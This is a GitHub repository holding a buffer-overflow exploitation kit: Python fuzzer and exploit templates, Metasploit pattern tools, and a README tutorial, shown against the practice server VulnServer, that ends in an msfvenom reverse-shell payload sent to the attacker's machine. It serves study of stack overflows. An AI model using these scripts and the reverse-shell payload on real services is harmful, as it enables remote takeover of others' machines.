├── BadCharGenerator.py ├── Exploit.py ├── Fuzzer.py ├── LICENSE ├── README.md ├── assets ├── EIP.png ├── EIPloaded.png ├── EIPoffsetvaluefound.png ├── anatomy-of-memory.png ├── exapmle.png ├── jumppointer.png ├── missingbadchar.png ├── modulesearch.png ├── offsetfound.png ├── payloadcreated.png └── stack.png ├── pattern_create.rb └── pattern_offset.rb /BadCharGenerator.py: -------------------------------------------------------------------------------- 1 | #This Scripts generate all bad characters to be used in the exploit script 2 | for x in range(1, 256): 3 | print("\\x" + "{:02x}".format(x), end='') 4 | print() -------------------------------------------------------------------------------- /Exploit.py: -------------------------------------------------------------------------------- 1 | import socket 2 | ip = "" #Enter Target IP Address 3 | port = #Enter Target Port Number 4 | 5 | prefix = "" #Adjust According to the Input 6 | offset = #Enter the Offset Value 7 | overflow = "A" * offset 8 | retn = "B" * 4 9 | padding = "" 10 | 11 | payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" 12 | postfix = "" #Adjust According to the Input 13 | 14 | buffer = prefix + overflow + retn + padding + payload + postfix 15 | 16 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 17 | 18 | try: 19 | s.connect((ip, port)) 20 | print("Sending Some Evil Data !!") 21 | s.send(bytes(buffer + "\r\n", "latin-1")) 22 | print("Exploitation Done!") 23 | except: 24 | print("Connection Problem") -------------------------------------------------------------------------------- /Fuzzer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import socket, time, sys 3 | ip = "127.0.0.1" # Add The Target IP here 4 | port = 5555 # Add the Target Port 5 | timeout = 5 6 | prefix = "" # Adjust According to the Input your application is taking in (othervise leave blank). 7 | string = prefix + "A" * 100 8 | while True: 9 | try: 10 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 11 | s.settimeout(timeout) 12 | s.connect((ip, port)) 13 | s.recv(1024) 14 | print("Fuzzing the Target with {} bytes".format(len(string) - len(prefix))) 15 | s.send(bytes(string, "latin-1")) 16 | s.recv(1024) 17 | except: 18 | print("The Fuzzing crashed at {} bytes".format(len(string) - len(prefix))) 19 | sys.exit(0) 20 | string += 100 * "A" 21 | time.sleep(1) 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Anmol Singh Yadav 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Buffer-Overflow 2 | ![](https://img.shields.io/badge/Python-3776AB?style=for-the-badge&logo=python&logoColor=white) 3 | [![](https://img.shields.io/badge/Ruby-CC342D?style=for-the-badge&logo=ruby&logoColor=white)](https://img.shields.io/badge/Ruby-CC342D?style=for-the-badge&logo=ruby&logoColor=white) 4 | 5 | These are the scripts & methodologies that can be used in Buffer Over Flow Fuzzing and Exploitation 6 | 7 | ## Buffer Overflow - Everything You Should Know about BOF 8 | A buffer overflow vulnerability occurs when you give a program too much data. The excess data corrupts nearby space in memory and may alter other data. As a result, the program might report an error or behave differently. Such vulnerabilities are also called buffer overrun. 9 | 10 | ## Types of Buffer Overflow Attacks 11 | - Stack-based buffer overflows are more common, and leverage stack memory that only exists during the execution time of a function. 12 | 13 | - Heap-based attacks are harder to carry out and involve flooding the memory space allocated for a program beyond memory used for current runtime operations. 14 | 15 | ## Steps: 16 | 1. Crash The Application 17 | 2. Find EIP 18 | 3. Control ESP 19 | 4. Identify Bad Characters 20 | 5. Find JMP ESP 21 | 6. Generate Shell Code 22 | 7. Exploit 23 | 24 |
25 | 26 | ## 1. Anatomy of Memory 27 | Starting with the basics of memory, and its conumption inside a computer. 28 | - A **buffer** is a temporary area for data storage. When more data (than was originally allocated to be stored) gets placed by a program or system process, the extra data overflows. It causes some of that data to leak out into other buffers, which can corrupt or overwrite whatever data they were holding. 29 | - In a **buffer-overflow attack,** the extra data sometimes holds specific instructions for actions intended by a hacker or malicious user; for example, the data could trigger a response that damages files, changes data or unveils private information 30 | ![anatomy](assets/anatomy-of-memory.png) 31 | - The **kernel** is at the top and the **text** is at the bottom. In between lies the Stack and Heap which is actually the area to be focused. 32 | ![](assets/stack.png) 33 | - It has **ESP** at its top and **EBP** at it bottom. The stack gets filled from TOP to BOTTOM. This is how we will be filling the bufffer. As an example show here, we have filled the bufferspace with 'A' and that too got overflowed till the EIP, which results in the data corruption or data being get overwritten. 34 |
35 | 36 | ## 2. Steps to Conduct Buffer Overflow Attack 37 | A Buffer Overflow attack is Checked and Exploited in the following steps : 38 | 1. Fuzzing 39 | 2. Finding the Offset 40 | 3. Overwriting the EIP 41 | 4. Finding bad characters 42 | 5. Finding the right module 43 | 6. Generating Shellcodes 44 | 7. Get Root Access! 45 | 46 | ###### Note: This Demonstration was carried out on a Vulnerable Server - [Grey Corner VulnServer](http://thegreycorner.com/2010/12/15/introducing-vulnserver.html) using [Immunity Debugger](https://www.immunityinc.com/products/debugger/) on Windows 10. 47 | ### Important Registers 48 | - **EIP**: EIP is the Extended Instruction Pointer it is a read-only register and it contains the address of the next instruction to read on the program, point always to the “Program Code” memory segment. 49 | 50 | - **ESP**:  ESP is the Extended Stack Pointer and this register purpose is to let you know where on the stack you are, it means that the ESP always marks the top of the stack. 51 | 52 | - **EBP**: EBP is the Extended Base Stack Pointer and its purpose is to point to the base address of the stack. 53 | 54 | ### 2(1) Fuzzing 55 | 1. The First step is sending a lot of Junk Data to the server, until it gets crashed. We can use the [Fuzzer.py](https://github.com/IamLucif3r/Buffer-Overflow/blob/main/Fuzzer.py) after making required changes according to the input sent to server. 56 | 2. The Script will send the Chunk of data in increasing order (100 bytes for first run, 200 in second run and so on). There will be a time, when the server/application will get crashed. 57 | 58 | ### 2(2) Finding the Offset 59 | - From here we will start to find out where to overwrite the EIP so that we can gain the root access. 60 | -  now we need to create a pattern with same number of bytes, at which our application was crashed. 61 | -  Say for example if we need to create a pattern after our Application was crashed at 3000 bytes, we will run this script: 62 | ``` 63 | /usr/share/metasploit-framework/tools/exploit/pattern\_create.rb -l 3000 64 | ``` 65 | - Now, we will add this pattern in our [Exploit.py](https://github.com/IamLucif3r/Buffer-Overflow/blob/main/Exploit.py) and run the script after restarting the application. 66 | 67 | - Observe the value of EIP in the Immunity Debugger, this is the offset value we will be needed in creating exploitaion. 68 | ![](assets/EIPoffsetvaluefound.png) 69 | 70 | - Again we will use the Metasploit framework, where we will enter the value of EIP obtained and if our pattern got matched we will get a value which will be the number of bytes over which we can get the control of the system. 71 | 72 | ``` 73 | /usr/share/metasploit-framework/tools/exploit/pattern\_offset.rb -l 3000 -q 386F4337 74 | ``` 75 | 76 | ![](assets/offsetfound.png) 77 | - This is how we get the value of our Offset. 78 | 79 | ### 2(3) Overwriting the EIP 80 | - Now that we are aware that after 2003 bytes the data will overflow to the EIP, we will do the same. for that, we will create a python script that will add 2003 bytes of 'A' and next to that we will add 'B' in order to distinguish. 81 | - Again, after runnning the script - we will observe that the EBP will be flodded with the 41414141.... after overflow. This means we have gained control over the EIP. 82 | ![](assets/EIP.png) 83 | 84 | ### 2(4) Finding the Bad Characters 85 | - We will be checking all the bad characters in our code and check if any one acts up. 86 | - Also by default the \\x00 (no byte is bad) acts up so we will remove it. Below is the list of bad characters. 87 | - ``` 88 | badchars = ("\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f" 89 | "\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40" 90 | "\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f" 91 | "\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f" 92 | "\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f" 93 | "\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf" 94 | "\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf" 95 | "\\xe0\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff") 96 | - Some programs have characters to make something up, e.g. x70 may become command that runs up in the program that tells us to do something & what we actually want it that while running through the shellcode, It doesn't break down. so we will not use x70. 97 | - As we run the Exploit Script we find some change in the **ESP** , right click on it and go to follow in dump. 98 | - There we will find the HexDump and locate the missing values ( Let's check your eyes LOL ;p) Also our limits **\\xff** so we will check only till the xff. 99 | 100 | NOTE: VulnServer is made to be very easy so we will not found any bad characters here. 101 | - If any missing character is found in the HexDump we can check them as follows: 102 | - ![](assets/missingbadchar.png) 103 | - Now we will find the correct Modules 104 | 105 | ### 2(5) Finding the Right Module 106 | - By finding the right modules, we meant to find out a .dll or similar files inside a program that doesn't have memory protection. 107 | - We will use a module named "Mona module" with our debugger (link: [https://github.com/corelan/mona.git](https://github.com/corelan/mona.git) ) and we will paste the mona.py file into : thispc/c:/programs files(x86)/Immunity Inc/Immunity Debugger/PyCommands. 108 | - Type into the Debugger Bottom - **!mona modules** & a window will pop-up. 109 | - Now we can see different permission settings, and we are looking for something attached to a vulnerable server  (we'll ensure that all are FALSE) 110 | - Now coming back to Terminal, we use Nasm.rb (you can use locate nasm) to convert assembly to hex code. 111 | - ![](assets/jumppointer.png) 112 | - Here we are making the pointer to jump to our malicious code. (above used is Assembly Language). It is observed that the HEX equal to assmbly is **FFE4**. 113 | - we will find a pointer using command: " **!mona find -s "\\xff\\xe4\\"  -m essfunc.dll** " 114 | - ![](assets/modulesearch.png) 115 | - Now from results we will choose a address with everything set to false. 116 | - And now we will use the following script, where in place of shellcode where we were sending 4 B's we will now send the pointer that we found in previous step. 117 | - We have entered the pointer to our jump so that pointer will jump to shell code. 118 | 119 | - In the Immunity Debugger, go to "expression to follow" and add "625011af" there and hit Enter we will jump to **FFE4 JMP ESP** hit **F2** button to set a break point over there. It means that buffer will overflow if hit that particular spot. It will not move to further program it will get paused and will wait for our instruction. 120 | 121 | - Now get back to terminal and run the above sccript. You will notice that in debugger EIP has a break point with our code 625011af and program is paused. 122 | - ![](assets/EIPloaded.png) 123 | 124 | ### 2(6) Generating Shellcode 125 | - This is the final step of exploitation, where we will use the Metasploit utility called **Msfvenom** to create a payload. To create a payload type the following command: 126 | ``` 127 | msfvenom -p windows/shell\_reverse\_tcp LHOST= LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\\x00" 128 | ``` 129 | The IP Address should be the IP Address of your Attacking Machine, where we will get back the TCP Connection. 130 | 131 | - Explanation of the Above Code: 132 | - **msfvenom** is used here to create a payload we use **\-p** switch to define the type of payload we are going to use, here the payload is **windows/shell\_reverse\_tcp,** it will prompt a reverse shell for us. In order to get a reverse shell we need to define **LHOST & LPORT** which is the ip address of attacking machine and port open to listen. **EXITFUNC=thread** is used for stability in payload , **\-f c** sets the file type used, here it is c. **\-a x86** defines the architecture type and **\-b** defines the bad characters present, **"\\x00".** 133 | ![](assets/payloadcreated.png) here is what our payload looks like. 134 | - Add the Payload generated to the Exploit.py script, and restart the application. Then on your attacking machine start the NetCat Listening on the specific port that you gave in the payload creation step and then run the exploit script. 135 | - The Overflow will get executed and you'll get the root access to the Victim's Machine. 136 | 137 |
138 | 139 | ## Contribution 140 | Fork this repo, do the required changes and send me a PR. I'll merge your request to the main repository. Here is what you can do: 141 | - Add more Fuzzing Scripts, in different programming languages. 142 | - Add more Exploitation Scripts, in different programming languages. 143 | - Improvise the Documentation (because I'm not very good in it). 144 | 145 | Show some by starring the Repository. 146 | 147 | Create by : [IamLucif3r](https://anmol-singh-yadav.github.io/) 148 | -------------------------------------------------------------------------------- /assets/EIP.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Buffer-Overflow/670a110eb73e9749f2b86b35c14b5f2859eb6a17/assets/EIP.png -------------------------------------------------------------------------------- /assets/EIPloaded.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Buffer-Overflow/670a110eb73e9749f2b86b35c14b5f2859eb6a17/assets/EIPloaded.png -------------------------------------------------------------------------------- /assets/EIPoffsetvaluefound.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Buffer-Overflow/670a110eb73e9749f2b86b35c14b5f2859eb6a17/assets/EIPoffsetvaluefound.png -------------------------------------------------------------------------------- /assets/anatomy-of-memory.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Buffer-Overflow/670a110eb73e9749f2b86b35c14b5f2859eb6a17/assets/anatomy-of-memory.png -------------------------------------------------------------------------------- /assets/exapmle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Buffer-Overflow/670a110eb73e9749f2b86b35c14b5f2859eb6a17/assets/exapmle.png -------------------------------------------------------------------------------- /assets/jumppointer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Buffer-Overflow/670a110eb73e9749f2b86b35c14b5f2859eb6a17/assets/jumppointer.png -------------------------------------------------------------------------------- /assets/missingbadchar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Buffer-Overflow/670a110eb73e9749f2b86b35c14b5f2859eb6a17/assets/missingbadchar.png -------------------------------------------------------------------------------- /assets/modulesearch.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Buffer-Overflow/670a110eb73e9749f2b86b35c14b5f2859eb6a17/assets/modulesearch.png -------------------------------------------------------------------------------- /assets/offsetfound.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Buffer-Overflow/670a110eb73e9749f2b86b35c14b5f2859eb6a17/assets/offsetfound.png -------------------------------------------------------------------------------- /assets/payloadcreated.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Buffer-Overflow/670a110eb73e9749f2b86b35c14b5f2859eb6a17/assets/payloadcreated.png -------------------------------------------------------------------------------- /assets/stack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/IamLucif3r/Buffer-Overflow/670a110eb73e9749f2b86b35c14b5f2859eb6a17/assets/stack.png -------------------------------------------------------------------------------- /pattern_create.rb: -------------------------------------------------------------------------------- 1 | begin 2 | msfbase = __FILE__ 3 | while File.symlink?(msfbase) 4 | msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) 5 | end 6 | 7 | $LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) 8 | $LOAD_PATH.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] 9 | 10 | gem 'rex-text' 11 | 12 | require 'optparse' 13 | 14 | module PatternCreate 15 | class OptsConsole 16 | def self.parse(args) 17 | options = {} 18 | parser = OptionParser.new do |opt| 19 | opt.banner = "Usage: #{__FILE__} [options]\nExample: #{__FILE__} -l 50 -s ABC,def,123\nAd1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf" 20 | opt.separator '' 21 | opt.separator 'Options:' 22 | opt.on('-l', '--length ', Integer, "The length of the pattern") do |len| 23 | options[:length] = len 24 | end 25 | 26 | opt.on('-s', '--sets ', Array, "Custom Pattern Sets") do |sets| 27 | options[:sets] = sets 28 | end 29 | 30 | opt.on_tail('-h', '--help', 'Show this message') do 31 | $stdout.puts opt 32 | exit 33 | end 34 | end 35 | 36 | parser.parse!(args) 37 | 38 | if options.empty? 39 | raise OptionParser::MissingArgument, 'No options set, try -h for usage' 40 | elsif options[:length].nil? && options[:sets] 41 | raise OptionParser::MissingArgument, '-l is required' 42 | end 43 | 44 | options[:sets] = nil unless options[:sets] 45 | 46 | options 47 | end 48 | end 49 | 50 | class Driver 51 | def initialize 52 | begin 53 | @opts = OptsConsole.parse(ARGV) 54 | rescue OptionParser::ParseError => e 55 | $stderr.puts "[x] #{e.message}" 56 | exit 57 | end 58 | end 59 | 60 | def run 61 | require 'rex/text' 62 | 63 | puts Rex::Text.pattern_create(@opts[:length], @opts[:sets]) 64 | end 65 | end 66 | end 67 | 68 | if __FILE__ == $PROGRAM_NAME 69 | driver = PatternCreate::Driver.new 70 | begin 71 | driver.run 72 | rescue ::StandardError => e 73 | $stderr.puts "[x] #{e.class}: #{e.message}" 74 | $stderr.puts "[*] If necessary, please refer to framework.log for more details." 75 | end 76 | end 77 | rescue SignalException => e 78 | puts("Aborted! #{e}") 79 | end -------------------------------------------------------------------------------- /pattern_offset.rb: -------------------------------------------------------------------------------- 1 | begin 2 | msfbase = __FILE__ 3 | while File.symlink?(msfbase) 4 | msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) 5 | end 6 | 7 | $LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) 8 | $LOAD_PATH.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] 9 | 10 | gem 'rex-text' 11 | 12 | require 'optparse' 13 | 14 | module PatternOffset 15 | class OptsConsole 16 | def self.parse(args) 17 | options = {} 18 | parser = OptionParser.new do |opt| 19 | opt.banner = "Usage: #{__FILE__} [options]\nExample: #{__FILE__} -q Aa3A\n[*] Exact match at offset 9" 20 | opt.separator '' 21 | opt.separator 'Options:' 22 | 23 | opt.on('-q', '--query Aa0A', String, "Query to Locate") do |query| 24 | options[:query] = query 25 | end 26 | 27 | opt.on('-l', '--length ', Integer, "The length of the pattern") do |len| 28 | options[:length] = len 29 | end 30 | 31 | opt.on('-s', '--sets ', Array, "Custom Pattern Sets") do |sets| 32 | options[:sets] = sets 33 | end 34 | 35 | opt.on_tail('-h', '--help', 'Show this message') do 36 | $stdout.puts opt 37 | exit 38 | end 39 | end 40 | 41 | parser.parse!(args) 42 | 43 | if options.empty? 44 | raise OptionParser::MissingArgument, 'No options set, try -h for usage' 45 | elsif options[:query].nil? 46 | raise OptionParser::MissingArgument, '-q is required' 47 | elsif options[:length].nil? && options[:sets] 48 | raise OptionParser::MissingArgument, '-l is required' 49 | end 50 | 51 | options[:sets] = nil unless options[:sets] 52 | options[:length] = 8192 unless options[:length] 53 | 54 | options 55 | end 56 | end 57 | 58 | class Driver 59 | def initialize 60 | begin 61 | @opts = OptsConsole.parse(ARGV) 62 | rescue OptionParser::ParseError => e 63 | $stderr.puts "[x] #{e.message}" 64 | exit 65 | end 66 | end 67 | 68 | def run 69 | require 'rex/text' 70 | 71 | query = (@opts[:query]) 72 | 73 | if query.length >= 8 && query.hex > 0 74 | query = query.hex 75 | # However, you can also specify a four-byte string 76 | elsif query.length == 4 77 | query = query.unpack("V").first 78 | else 79 | # Or even a hex query that isn't 8 bytes long 80 | query = query.to_i(16) 81 | end 82 | 83 | buffer = Rex::Text.pattern_create(@opts[:length], @opts[:sets]) 84 | offset = Rex::Text.pattern_offset(buffer, query) 85 | 86 | # Handle cases where there is no match by looking for "close" matches 87 | unless offset 88 | found = false 89 | $stderr.puts "[*] No exact matches, looking for likely candidates..." 90 | 91 | # Look for shifts by a single byte 92 | 0.upto(3) do |idx| 93 | 0.upto(255) do |c| 94 | nvb = [query].pack("V") 95 | nvb[idx, 1] = [c].pack("C") 96 | nvi = nvb.unpack("V").first 97 | 98 | off = Rex::Text.pattern_offset(buffer, nvi) 99 | if off 100 | mle = query - buffer[off, 4].unpack("V").first 101 | mbe = query - buffer[off, 4].unpack("N").first 102 | puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] ) byte offset #{idx}" 103 | found = true 104 | end 105 | end 106 | end 107 | 108 | exit! if found 109 | 110 | # Look for 16-bit offsets 111 | [0, 2].each do |idx| 112 | 0.upto(65535) do |c| 113 | nvb = [query].pack("V") 114 | nvb[idx, 2] = [c].pack("v") 115 | nvi = nvb.unpack("V").first 116 | 117 | off = Rex::Text.pattern_offset(buffer, nvi) 118 | if off 119 | mle = query - buffer[off, 4].unpack("V").first 120 | mbe = query - buffer[off, 4].unpack("N").first 121 | puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] )" 122 | found = true 123 | end 124 | end 125 | end 126 | end 127 | 128 | while offset 129 | puts "[*] Exact match at offset #{offset}" 130 | offset = Rex::Text.pattern_offset(buffer, query, offset + 1) 131 | end 132 | end 133 | end 134 | end 135 | 136 | if __FILE__ == $PROGRAM_NAME 137 | driver = PatternOffset::Driver.new 138 | begin 139 | driver.run 140 | rescue ::StandardError => e 141 | $stderr.puts "[x] #{e.class}: #{e.message}" 142 | $stderr.puts "[*] If necessary, please refer to framework.log for more details." 143 | 144 | end 145 | end 146 | rescue SignalException => e 147 | puts("Aborted!") 148 | end --------------------------------------------------------------------------------